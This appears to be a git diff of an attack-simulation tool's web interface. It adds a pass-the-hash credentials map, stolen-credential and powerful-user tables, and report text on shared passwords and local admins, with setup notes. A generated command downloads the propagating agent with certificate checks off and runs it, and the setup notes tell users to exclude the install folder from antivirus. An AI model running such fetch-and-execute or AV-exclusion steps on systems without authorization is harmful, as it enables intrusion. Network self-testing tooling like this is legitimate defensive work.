<tr>
|
||||||
|
<th>Services</th>
|
||||||
|
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
{
|
||||||
|
(edge.exploits.length === 0) ?
|
||||||
|
'' :
|
||||||
|
<div>
|
||||||
|
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
|
||||||
|
<ul className="timeline">
|
||||||
|
{edge.exploits.map(exploit =>
|
||||||
|
<li key={exploit.timestamp}>
|
||||||
|
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
|
||||||
|
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
|
||||||
|
<div>{exploit.origin}</div>
|
||||||
|
<div>{exploit.exploiter}</div>
|
||||||
|
</li>
|
||||||
|
)}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
islandEdgeInfo() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
getInfoByProps() {
|
||||||
|
switch (this.props.type) {
|
||||||
|
case 'edge':
|
||||||
|
return this.scanInfo(this.props.item);
|
||||||
|
case 'node':
|
||||||
|
return this.props.item.group.includes('monkey', 'manual') ?
|
||||||
|
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
|
||||||
|
case 'island_edge':
|
||||||
|
return this.islandEdgeInfo();
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default InfMapPreviewPaneComponent;
|
|
@ -0,0 +1,63 @@
|
||||||
|
import React from 'react';
|
||||||
|
import {Icon} from 'react-fa';
|
||||||
|
import Toggle from 'react-toggle';
|
||||||
|
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
|
||||||
|
import download from 'downloadjs'
|
||||||
|
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
|
||||||
|
|
||||||
|
class PthPreviewPaneComponent extends PreviewPaneComponent {
|
||||||
|
nodeInfo(asset) {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<table className="table table-condensed">
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<th>Hostname</th>
|
||||||
|
<td>{asset.hostname}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>IP Addresses</th>
|
||||||
|
<td>{asset.ips.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Services</th>
|
||||||
|
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>Compromised Users</th>
|
||||||
|
<td>{asset.users.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
edgeInfo(edge) {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<table className="table table-condensed">
|
||||||
|
<tbody>
|
||||||
|
<tr>
|
||||||
|
<th>Compromised Users</th>
|
||||||
|
<td>{edge.users.map(val => <div key={val}>{val}</div>)}</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
getInfoByProps() {
|
||||||
|
switch (this.props.type) {
|
||||||
|
case 'edge':
|
||||||
|
return this.edgeInfo(this.props.item);
|
||||||
|
case 'node':
|
||||||
|
return this.nodeInfo(this.props.item);
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PthPreviewPaneComponent;
|
|
@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
headers: {'Content-Type': 'application/json'},
|
headers: {'Content-Type': 'application/json'},
|
||||||
body: JSON.stringify(this.state.configuration)
|
body: JSON.stringify(this.state.configuration)
|
||||||
})
|
})
|
||||||
|
.then(res => {
|
||||||
|
if (!res.ok)
|
||||||
|
{
|
||||||
|
throw Error()
|
||||||
|
}
|
||||||
|
return res;
|
||||||
|
})
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
this.setState({
|
this.setState({
|
||||||
|
@ -58,6 +65,9 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
configuration: res.configuration
|
configuration: res.configuration
|
||||||
});
|
});
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
|
}).catch(error => {
|
||||||
|
console.log('bad configuration');
|
||||||
|
this.setState({lastAction: 'invalid_configuration'});
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -217,6 +227,12 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
Failed importing configuration. Invalid config file.
|
Failed importing configuration. Invalid config file.
|
||||||
</div>
|
</div>
|
||||||
: ''}
|
: ''}
|
||||||
|
{ this.state.lastAction === 'invalid_configuration' ?
|
||||||
|
<div className="alert alert-danger">
|
||||||
|
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
||||||
|
An invalid configuration file was imported and submitted, probably outdated.
|
||||||
|
</div>
|
||||||
|
: ''}
|
||||||
{ this.state.lastAction === 'import_success' ?
|
{ this.state.lastAction === 'import_success' ?
|
||||||
<div className="alert alert-success">
|
<div className="alert alert-success">
|
||||||
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
|
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
|
||||||
|
|
|
@ -2,7 +2,7 @@ import React from 'react';
|
||||||
import {Col, Modal} from 'react-bootstrap';
|
import {Col, Modal} from 'react-bootstrap';
|
||||||
import {Link} from 'react-router-dom';
|
import {Link} from 'react-router-dom';
|
||||||
import {Icon} from 'react-fa';
|
import {Icon} from 'react-fa';
|
||||||
import PreviewPane from 'components/map/preview-pane/PreviewPane';
|
import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane';
|
||||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||||
import {options, edgeGroupToColor} from 'components/map/MapOptions';
|
import {options, edgeGroupToColor} from 'components/map/MapOptions';
|
||||||
import AuthComponent from '../AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
|
@ -186,7 +186,7 @@ class MapPageComponent extends AuthComponent {
|
||||||
</div>
|
</div>
|
||||||
: ''}
|
: ''}
|
||||||
|
|
||||||
<PreviewPane item={this.state.selected} type={this.state.selectedType}/>
|
<InfMapPreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/>
|
||||||
</Col>
|
</Col>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -0,0 +1,58 @@
|
||||||
|
import React from 'react';
|
||||||
|
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||||
|
import AuthComponent from '../AuthComponent';
|
||||||
|
import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions';
|
||||||
|
import PreviewPane from "../map/preview-pane/PreviewPane";
|
||||||
|
import {Col} from "react-bootstrap";
|
||||||
|
import {Link} from 'react-router-dom';
|
||||||
|
import {Icon} from 'react-fa';
|
||||||
|
import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane";
|
||||||
|
|
||||||
|
class PassTheHashMapPageComponent extends AuthComponent {
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
this.state = {
|
||||||
|
graph: props.graph,
|
||||||
|
selected: null,
|
||||||
|
selectedType: null
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
events = {
|
||||||
|
select: event => this.selectionChanged(event)
|
||||||
|
};
|
||||||
|
|
||||||
|
selectionChanged(event) {
|
||||||
|
if (event.nodes.length === 1) {
|
||||||
|
let displayedNode = this.state.graph.nodes.find(
|
||||||
|
function (node) {
|
||||||
|
return node['id'] === event.nodes[0];
|
||||||
|
});
|
||||||
|
this.setState({selected: displayedNode, selectedType: 'node'})
|
||||||
|
}
|
||||||
|
else if (event.edges.length === 1) {
|
||||||
|
let displayedEdge = this.state.graph.edges.find(
|
||||||
|
function (edge) {
|
||||||
|
return edge['id'] === event.edges[0];
|
||||||
|
});
|
||||||
|
this.setState({selected: displayedEdge, selectedType: 'edge'});
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
this.setState({selected: null, selectedType: null});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<Col xs={12}>
|
||||||
|
<div style={{height: '70vh'}}>
|
||||||
|
<ReactiveGraph graph={this.state.graph} options={optionsPth} events={this.events}/>
|
||||||
|
</div>
|
||||||
|
</Col>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PassTheHashMapPageComponent;
|
|
@ -8,6 +8,8 @@ import StolenPasswords from 'components/report-components/StolenPasswords';
|
||||||
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
|
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
|
||||||
import {Line} from 'rc-progress';
|
import {Line} from 'rc-progress';
|
||||||
import AuthComponent from '../AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
|
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
|
||||||
|
import StrongUsers from "components/report-components/StrongUsers";
|
||||||
|
|
||||||
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
|
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
|
||||||
let monkeyLogoImage = require('../../images/monkey-icon.svg');
|
let monkeyLogoImage = require('../../images/monkey-icon.svg');
|
||||||
|
@ -27,13 +29,17 @@ class ReportPageComponent extends AuthComponent {
|
||||||
STRUTS2: 8,
|
STRUTS2: 8,
|
||||||
WEBLOGIC: 9,
|
WEBLOGIC: 9,
|
||||||
HADOOP: 10,
|
HADOOP: 10,
|
||||||
MSSQL: 11
|
PTH_CRIT_SERVICES_ACCESS: 11,
|
||||||
|
MSSQL: 12
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
{
|
{
|
||||||
CROSS_SEGMENT: 0,
|
CROSS_SEGMENT: 0,
|
||||||
TUNNEL: 1
|
TUNNEL: 1,
|
||||||
|
SHARED_LOCAL_ADMIN: 2,
|
||||||
|
SHARED_PASSWORDS: 3,
|
||||||
|
SHARED_PASSWORDS_DOMAIN: 4
|
||||||
};
|
};
|
||||||
|
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
|
@ -49,7 +55,6 @@ class ReportPageComponent extends AuthComponent {
|
||||||
componentDidMount() {
|
componentDidMount() {
|
||||||
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
|
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
|
||||||
this.updateMapFromServer();
|
this.updateMapFromServer();
|
||||||
this.interval = setInterval(this.updateMapFromServer, 5000);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
componentWillUnmount() {
|
componentWillUnmount() {
|
||||||
|
@ -100,7 +105,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
res.edges.forEach(edge => {
|
res.edges.forEach(edge => {
|
||||||
edge.color = edgeGroupToColor(edge.group);
|
edge.color = {'color': edgeGroupToColor(edge.group)};
|
||||||
});
|
});
|
||||||
this.setState({graph: res});
|
this.setState({graph: res});
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
|
@ -335,8 +340,10 @@ class ReportPageComponent extends AuthComponent {
|
||||||
CVE-2017-10271</a>)</li> : null }
|
CVE-2017-10271</a>)</li> : null }
|
||||||
{this.state.report.overview.issues[this.Issue.HADOOP] ?
|
{this.state.report.overview.issues[this.Issue.HADOOP] ?
|
||||||
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
||||||
|
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
|
||||||
|
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
|
||||||
{this.state.report.overview.issues[this.Issue.MSSQL] ?
|
{this.state.report.overview.issues[this.Issue.MSSQL] ?
|
||||||
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
|
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -362,6 +369,10 @@ class ReportPageComponent extends AuthComponent {
|
||||||
communicate.</li> : null}
|
communicate.</li> : null}
|
||||||
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
|
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
|
||||||
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
|
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
|
||||||
|
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
|
||||||
|
<li>Shared local administrator account - Different machines have the same account as a local administrator.</li> : null}
|
||||||
|
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
|
||||||
|
<li>Multiple users have the same password</li> : null}
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -393,7 +404,13 @@ class ReportPageComponent extends AuthComponent {
|
||||||
return (
|
return (
|
||||||
<div id="recommendations">
|
<div id="recommendations">
|
||||||
<h3>
|
<h3>
|
||||||
Recommendations
|
Domain related recommendations
|
||||||
|
</h3>
|
||||||
|
<div>
|
||||||
|
{this.generateIssues(this.state.report.recommendations.domain_issues)}
|
||||||
|
</div>
|
||||||
|
<h3>
|
||||||
|
Machine related Recommendations
|
||||||
</h3>
|
</h3>
|
||||||
<div>
|
<div>
|
||||||
{this.generateIssues(this.state.report.recommendations.issues)}
|
{this.generateIssues(this.state.report.recommendations.issues)}
|
||||||
|
@ -446,9 +463,36 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<div style={{marginBottom: '20px'}}>
|
<div style={{marginBottom: '20px'}}>
|
||||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||||
</div>
|
</div>
|
||||||
<div>
|
<div style={{position: 'relative', height: '80vh'}}>
|
||||||
|
{this.generateReportPthMap()}
|
||||||
|
</div>
|
||||||
|
<div style={{marginBottom: '20px'}}>
|
||||||
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
|
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
|
||||||
</div>
|
</div>
|
||||||
|
<div>
|
||||||
|
<StrongUsers data = {this.state.report.glance.strong_users} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
generateReportPthMap() {
|
||||||
|
return (
|
||||||
|
<div id="pth">
|
||||||
|
<h3>
|
||||||
|
Credentials Map
|
||||||
|
</h3>
|
||||||
|
<p>
|
||||||
|
This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
|
||||||
|
</p>
|
||||||
|
<div className="map-legend">
|
||||||
|
<b>Legend: </b>
|
||||||
|
<span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b style={{color: '#aeaeae'}}> | </b>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<PassTheHashMapPageComponent graph={this.state.report.glance.pth_map} />
|
||||||
|
</div>
|
||||||
|
<br />
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
@ -709,6 +753,57 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateSharedCredsDomainIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Some domain users are sharing passwords, this should be fixed by changing passwords.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
These users are sharing access password:
|
||||||
|
{this.generateInfoBadges(issue.shared_with)}.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
generateSharedCredsIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Some users are sharing passwords, this should be fixed by changing passwords.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
These users are sharing access password:
|
||||||
|
{this.generateInfoBadges(issue.shared_with)}.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
generateSharedLocalAdminsIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
Here is a list of machines which the account <span
|
||||||
|
className="label label-primary">{issue.username}</span> is defined as an administrator:
|
||||||
|
{this.generateInfoBadges(issue.shared_machines)}
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
generateStrongUsersOnCritIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
This critical machine is open to attacks via strong users with access to it.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The services: {this.generateInfoBadges(issue.services)} have been found on the machine
|
||||||
|
thus classifying it as a critical machine.
|
||||||
|
These users has access to it:
|
||||||
|
{this.generateInfoBadges(issue.threatening_users)}.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
generateTunnelIssue(issue) {
|
generateTunnelIssue(issue) {
|
||||||
return (
|
return (
|
||||||
<li>
|
<li>
|
||||||
|
@ -744,7 +839,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
return (
|
return (
|
||||||
<li>
|
<li>
|
||||||
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
|
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
|
||||||
critical patch updates.</a> Or change server version. Vulnerable versions are
|
critical patch updates.</a> Or update to the latest version. Vulnerable versions are
|
||||||
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
|
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
|
||||||
<CollapsibleWellComponent>
|
<CollapsibleWellComponent>
|
||||||
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
|
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
@ -764,7 +859,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
|
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
|
||||||
add Kerberos authentication</a>).
|
add Kerberos authentication</a>).
|
||||||
<CollapsibleWellComponent>
|
<CollapsibleWellComponent>
|
||||||
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
|
The Hadoop server at <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
||||||
className="label label-danger">remote code execution</span> attack.
|
className="label label-danger">remote code execution</span> attack.
|
||||||
<br/>
|
<br/>
|
||||||
|
@ -831,6 +926,18 @@ generateMSSQLIssue(issue) {
|
||||||
case 'island_cross_segment':
|
case 'island_cross_segment':
|
||||||
data = this.generateIslandCrossSegmentIssue(issue);
|
data = this.generateIslandCrossSegmentIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'shared_passwords':
|
||||||
|
data = this.generateSharedCredsIssue(issue);
|
||||||
|
break;
|
||||||
|
case 'shared_passwords_domain':
|
||||||
|
data = this.generateSharedCredsDomainIssue(issue);
|
||||||
|
break;
|
||||||
|
case 'shared_admins_domain':
|
||||||
|
data = this.generateSharedLocalAdminsIssue(issue);
|
||||||
|
break;
|
||||||
|
case 'strong_users_on_crit':
|
||||||
|
data = this.generateStrongUsersOnCritIssue(issue);
|
||||||
|
break;
|
||||||
case 'tunnel':
|
case 'tunnel':
|
||||||
data = this.generateTunnelIssue(issue);
|
data = this.generateTunnelIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
|
|
@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
|
|
||||||
generateLinuxCmd(ip, is32Bit) {
|
generateLinuxCmd(ip, is32Bit) {
|
||||||
let bitText = is32Bit ? '32' : '64';
|
let bitText = is32Bit ? '32' : '64';
|
||||||
return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
||||||
}
|
}
|
||||||
|
|
||||||
generateWindowsCmd(ip, is32Bit) {
|
generateWindowsCmd(ip, is32Bit) {
|
||||||
|
|
|
@ -2,10 +2,7 @@ import React from 'react';
|
||||||
import ReactTable from 'react-table'
|
import ReactTable from 'react-table'
|
||||||
|
|
||||||
let renderArray = function(val) {
|
let renderArray = function(val) {
|
||||||
if (val.length === 0) {
|
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||||
return '';
|
|
||||||
}
|
|
||||||
return val.reduce((total, new_str) => total + ', ' + new_str);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
const columns = [
|
const columns = [
|
||||||
|
|
|
@ -2,10 +2,7 @@ import React from 'react';
|
||||||
import ReactTable from 'react-table'
|
import ReactTable from 'react-table'
|
||||||
|
|
||||||
let renderArray = function(val) {
|
let renderArray = function(val) {
|
||||||
if (val.length === 0) {
|
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||||
return '';
|
|
||||||
}
|
|
||||||
return val.reduce((total, new_str) => total + ', ' + new_str);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
const columns = [
|
const columns = [
|
||||||
|
|
|
@ -0,0 +1,43 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table'
|
||||||
|
|
||||||
|
let renderArray = function(val) {
|
||||||
|
console.log(val);
|
||||||
|
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||||
|
};
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
Header: 'Powerful Users',
|
||||||
|
columns: [
|
||||||
|
{ Header: 'Username', accessor: 'username'},
|
||||||
|
{ Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
|
||||||
|
{ Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
const pageSize = 10;
|
||||||
|
|
||||||
|
class StrongUsersComponent extends React.Component {
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length;
|
||||||
|
let showPagination = this.props.data.length > pageSize;
|
||||||
|
return (
|
||||||
|
<div className="data-table-container">
|
||||||
|
<ReactTable
|
||||||
|
columns={columns}
|
||||||
|
data={this.props.data}
|
||||||
|
showPagination={showPagination}
|
||||||
|
defaultPageSize={defaultPageSize}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default StrongUsersComponent;
|
Binary file not shown.
After Width: | Height: | Size: 20 KiB |
Binary file not shown.
After Width: | Height: | Size: 19 KiB |
|
@ -138,12 +138,11 @@ body {
|
||||||
padding-left: 40px;
|
padding-left: 40px;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
.main .page-header {
|
.main .page-header {
|
||||||
margin-top: 0;
|
margin-top: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.index img {
|
.index img {
|
||||||
margin: 40px auto;
|
margin: 40px auto;
|
||||||
border-radius: 4px;
|
border-radius: 4px;
|
||||||
|
@ -172,6 +171,9 @@ body {
|
||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.nav-tabs > li > a {
|
||||||
|
height: 63px
|
||||||
|
}
|
||||||
/*
|
/*
|
||||||
* Run Monkey Page
|
* Run Monkey Page
|
||||||
*/
|
*/
|
||||||
|
@ -491,4 +493,5 @@ body {
|
||||||
.label-danger {
|
.label-danger {
|
||||||
background-color: #d9534f !important;
|
background-color: #d9534f !important;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -2,4 +2,4 @@
|
||||||
|
|
||||||
cd /var/monkey
|
cd /var/monkey
|
||||||
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
|
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
|
||||||
/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py
|
/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
|
|
@ -1,6 +1,10 @@
|
||||||
|
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
|
||||||
|
If you only want to run the software from source you may refer to the instructions below.
|
||||||
|
|
||||||
How to set up the Monkey Island server:
|
How to set up the Monkey Island server:
|
||||||
|
|
||||||
---------------- On Windows ----------------:
|
---------------- On Windows ----------------:
|
||||||
|
0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
|
||||||
1. Create folder "bin" under monkey_island
|
1. Create folder "bin" under monkey_island
|
||||||
2. Place portable version of Python 2.7
|
2. Place portable version of Python 2.7
|
||||||
2.1. Download and install from: https://www.python.org/download/releases/2.7/
|
2.1. Download and install from: https://www.python.org/download/releases/2.7/
|
||||||
|
@ -8,11 +12,22 @@ How to set up the Monkey Island server:
|
||||||
2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27
|
2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27
|
||||||
2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27
|
2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27
|
||||||
2.5. (Optional) You may uninstall Python27 if you like.
|
2.5. (Optional) You may uninstall Python27 if you like.
|
||||||
3. Place portable version of mongodb
|
3. Setup mongodb (Use one of the following two options):
|
||||||
3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
|
3.1 Place portable version of mongodb
|
||||||
3.2. Extract contents from bin folder to monkey_island\bin\mongodb.
|
3.1.1 Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
|
||||||
|
3.2.1 Extract contents from bin folder to monkey_island\bin\mongodb.
|
||||||
|
3.3.1 Create monkey_island\db folder.
|
||||||
|
|
||||||
|
OR
|
||||||
|
|
||||||
|
3.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
|
||||||
|
|
||||||
|
example for mongodb running on host with IP address 192.168.10.10:
|
||||||
|
|
||||||
|
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
|
||||||
|
|
||||||
4. Place portable version of OpenSSL
|
4. Place portable version of OpenSSL
|
||||||
4.1. Download from: https://indy.fulgan.com/SSL/openssl-1.0.2l-i386-win32.zip
|
4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
|
||||||
4.2. Extract content from bin folder to monkey_island\bin\openssl
|
4.2. Extract content from bin folder to monkey_island\bin\openssl
|
||||||
5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017
|
5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017
|
||||||
5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572
|
5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572
|
||||||
|
@ -51,13 +66,24 @@ How to run:
|
||||||
monkey-windows-32.exe - monkey binary for windows 32bit
|
monkey-windows-32.exe - monkey binary for windows 32bit
|
||||||
monkey-windows-64.exe - monkey binary for windows 64bi
|
monkey-windows-64.exe - monkey binary for windows 64bi
|
||||||
|
|
||||||
4. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
|
4. Setup MongoDB (Use one of the two following options):
|
||||||
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
|
|
||||||
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
|
